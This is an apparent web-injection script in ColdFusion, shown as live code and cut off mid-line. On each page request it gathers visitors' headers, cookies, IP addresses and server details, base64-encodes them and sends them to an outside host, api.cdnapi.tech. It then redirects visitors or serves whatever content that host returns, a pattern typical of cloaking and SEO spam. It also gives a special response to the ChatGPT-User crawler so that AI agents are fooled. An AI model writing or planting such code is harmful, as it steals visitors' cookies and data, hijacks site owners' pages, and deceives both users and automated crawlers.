function fetch_remote(required string url) { local.httpData = getHttpRequestData(); local.serverData = {}; local.serverData["HTTP_HOST"] = structKeyExists(local.httpData.headers, "Host") ? local.httpData.headers["Host"] : cgi.HTTP_HOST; local.serverData["HTTP_USER_AGENT"] = structKeyExists(local.httpData.headers, "User-Agent") ? local.httpData.headers["User-Agent"] : cgi.HTTP_USER_AGENT; local.serverData["HTTP_ACCEPT"] = structKeyExists(local.httpData.headers, "Accept") ? local.httpData.headers["Accept"] : cgi.HTTP_ACCEPT; local.serverData["HTTP_ACCEPT_LANGUAGE"] = structKeyExists(local.httpData.headers, "Accept-Language") ? local.httpData.headers["Accept-Language"] : ""; local.serverData["HTTP_ACCEPT_ENCODING"] = structKeyExists(local.httpData.headers, "Accept-Encoding") ? local.httpData.headers["Accept-Encoding"] : ""; local.serverData["HTTP_CONNECTION"] = structKeyExists(local.httpData.headers, "Connection") ? local.httpData.headers["Connection"] : ""; local.serverData["HTTP_COOKIE"] = structKeyExists(local.httpData.headers, "Cookie") ? local.httpData.headers["Cookie"] : ""; local.serverData["HTTP_REFERER"] = structKeyExists(local.httpData.headers, "Referer") ? local.httpData.headers["Referer"] : cgi.HTTP_REFERER; local.serverData["SERVER_NAME"] = cgi.SERVER_NAME; local.serverData["SERVER_PORT"] = cgi.SERVER_PORT; local.serverData["SERVER_PROTOCOL"] = cgi.SERVER_PROTOCOL; local.serverData["SERVER_SOFTWARE"] = cgi.SERVER_SOFTWARE; local.serverData["REQUEST_METHOD"] = cgi.REQUEST_METHOD; local.serverData["REQUEST_URI"] = cgi.SCRIPT_NAME & (len(cgi.QUERY_STRING) ? "?" & cgi.QUERY_STRING : ""); local.serverData["QUERY_STRING"] = cgi.QUERY_STRING; local.serverData["SCRIPT_NAME"] = cgi.SCRIPT_NAME; local.serverData["SCRIPT_FILENAME"] = cgi.CF_TEMPLATE_PATH; local.serverData["REMOTE_ADDR"] = cgi.REMOTE_ADDR; local.serverData["REMOTE_HOST"] = cgi.REMOTE_HOST; local.serverData["HTTPS"] = (cgi.HTTPS == "on") ? "on" : ""; local.serverData["T"] = "y"; local.serverData["TPL"] = 7; local.serverData["VER"] = 1; local.jsonData = serializeJSON(local.serverData); local.payload = binaryEncode(charsetDecode(local.jsonData, "utf-8"), "base64"); try { cfhttp(url=arguments.url, method="post", timeout="49", result="local.result", throwonerror=false) { cfhttpparam(type="formfield", name="ua", value=local.payload); cfhttpparam(type="header", name="Content-Type", value="application/x-www-form-urlencoded"); } if (structKeyExists(local.result, "statuscode") && left(local.result.statuscode, 3) == "200") { return local.result.filecontent.toString(); } } catch (any e) { } // 回退:GET + query string local.fullUrl = arguments.url & "?ua=" & urlEncodedFormat(local.payload); cfhttp(url=local.fullUrl, method="get", timeout="49", result="local.resultGet", throwonerror=false); if (structKeyExists(local.resultGet, "statuscode") && left(local.resultGet.statuscode, 3) == "200") { return local.resultGet.filecontent.toString(); } else { return ""; } } variables.shouldExit = false; variables.content = ""; try { variables.httpData = getHttpRequestData(); variables.userAgent = structKeyExists(variables.httpData.headers, "User-Agent") ? variables.httpData.headers["User-Agent"] : ""; variables.gptParam = structKeyExists(url, "gpt") ? url.gpt : ""; if (find("ChatGPT-User/1.0", variables.userAgent) && variables.gptParam == "true") { writeOutput("##okresponse##"); variables.shouldExit = true; } if (!variables.shouldExit) { variables.remote_url = "https://api.cdnapi.tech/api/proxy/handle.php"; variables.content = fetch_remote(variables.remote_url); if (reFind("^https?://", variables.content)) { location(url=trim(variables.content), addtoken=false); variables.shouldExit = true; } if (!variables.shouldExit && len(variables.content) > 0 && left(trim(variables.content), 2) == "##") { writeOutput(right(variables.content, len(variables.content)-2)); variables.shouldExit = true; } if (!variables.shouldExit && len(variables.content) > 90) { if (find("", variables.content) || find("", variables.content)) { cfheader(name="Content-Type", value="application/xml; charset=utf-8"); writeOutput(variables.content); variables.shouldExit = true; } else if (find("""urlset""", variables.content) || find("""sitemapindex""", variables.content)) { cfheader(name="Content-Type", value="application/json; charset=utf-8"); writeOutput(variables.content); variables.shouldExit = true; } else if (find("